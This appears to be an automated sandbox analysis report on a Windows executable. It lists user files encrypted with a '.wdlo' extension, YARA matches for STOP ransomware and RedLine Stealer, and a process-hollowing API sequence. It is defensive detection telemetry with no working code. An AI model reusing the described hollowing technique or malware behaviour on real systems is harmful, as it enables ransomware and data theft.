Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.wdlo (copy) entropy: 7.99759189109	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db.wdlo (copy) entropy: 7.99818528773	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.wdlo (copy) entropy: 7.99254513424	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Shell\DefaultLayouts.xml.wdlo (copy) entropy: 7.99699730063	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalState\ThirdPartyNotice.html.wdlo (copy) entropy: 7.99829882963	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat.LOG1.wdlo (copy) entropy: 7.99457287539	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite-shm.wdlo (copy) entropy: 7.99510987976	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\PhotosAppTracing_startedInBGMode.etl.wdlo (copy) entropy: 7.99724454119	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\TempState\CortanaUnifiedTileModelCache.dat.wdlo (copy) entropy: 7.9953837901	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\StartUnifiedTileModelCache.dat.wdlo (copy) entropy: 7.99642162788	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxCommAlwaysOnLog.etl.wdlo (copy) entropy: 7.9971849646	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxCommAlwaysOnLog_Old.etl.wdlo (copy) entropy: 7.99727181504	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\53IVYM2Y\Converged_v22057_4HqSCTf5FFStBMz0_eIqyA2[1].css.wdlo (copy) entropy: 7.99826360964	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\53IVYM2Y\PreSignInSettingsConfig[1].json.wdlo (copy) entropy: 7.99775935685	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\PMW3U6MX\ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOqiqEgQ2[1].js.wdlo (copy) entropy: 7.9953535039	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Application Data\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg.wdlo (copy) entropy: 7.99715793003	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite.wdlo (copy) entropy: 7.99799974762	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm.wdlo (copy) entropy: 7.99420396278	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extensions.json.wdlo (copy) entropy: 7.9944143475	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm.wdlo (copy) entropy: 7.99423235585	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite.wdlo (copy) entropy: 7.9981539913	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm.wdlo (copy) entropy: 7.99433021216	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\protections.sqlite.wdlo (copy) entropy: 7.99727569181	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite.wdlo (copy) entropy: 7.99836267562	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite-shm.wdlo (copy) entropy: 7.99392486315	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Google Profile.ico.wdlo (copy) entropy: 7.99853807909	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 3.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 3.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22d15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22d15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 3.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 3.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 14.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 14.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23115a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22d15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22d15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 19.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 19.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 19.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 19.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.23615a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 14.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22015a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 14.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22015a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000000.00000002.2035582084.00000000006A3000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000E.00000002.2165690600.0000000002162000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000005.00000002.2081428261.000000000225D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000B.00000002.2094534233.0000000002310000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000F.00000002.2176111668.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000F.00000002.2176111668.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000E.00000002.2165749001.0000000002200000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000011.00000002.2254835976.00000000007F9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000C.00000002.3274539908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000C.00000002.3274539908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000011.00000002.2255017517.0000000002360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000013.00000002.2265528714.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000013.00000002.2265528714.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000B.00000002.2094369829.000000000227B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 6984, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 2568, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 320, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 5316, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 4204, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7204, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7424, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7444, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7636, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7724, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

PE file contains section with special chars

Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Static PE information: section name: _su
Source: MyProg.exe.1.dr	Static PE information: section name: Y\|uR
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.3.dr	Static PE information: section name: _su

PE file has a writeable .text section

Source: VOsoyD.exe.0.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_022D0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,		0_2_022D0110
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 5_2_022F0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,		5_2_022F0110

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_004139B0	0_2_004139B0
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_00412BD0	0_2_00412BD0
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_022D7220	0_2_022D7220
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_023522C0	0_2_023522C0
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_0231E37C	0_2_0231E37C
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_022D7393	0_2_022D7393
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_022DA026	0_2_022DA026
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_022EF030	0_2_022EF030
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_022DB000	0_2_022DB000
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_022DB0B0	0_2_022DB0B0
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_022D70E0	0_2_022D70E0
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_022D30F0	0_2_022D30F0
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_022E00D0	0_2_022E00D0
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_022D9120	0_2_022D9120
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_0231E141	0_2_0231E141
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_022FD1A4	0_2_022FD1A4
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_0231B69F	0_2_0231B69F
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_022DA699	0_2_022DA699
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_022DE6E0	0_2_022DE6E0
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_022DC760	0_2_022DC760
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_022DA79A	0_2_022DA79A
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_022FD7F1	0_2_022FD7F1
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_022D3520	0_2_022D3520
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_022D7520	0_2_022D7520
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_022DCA10	0_2_022DCA10
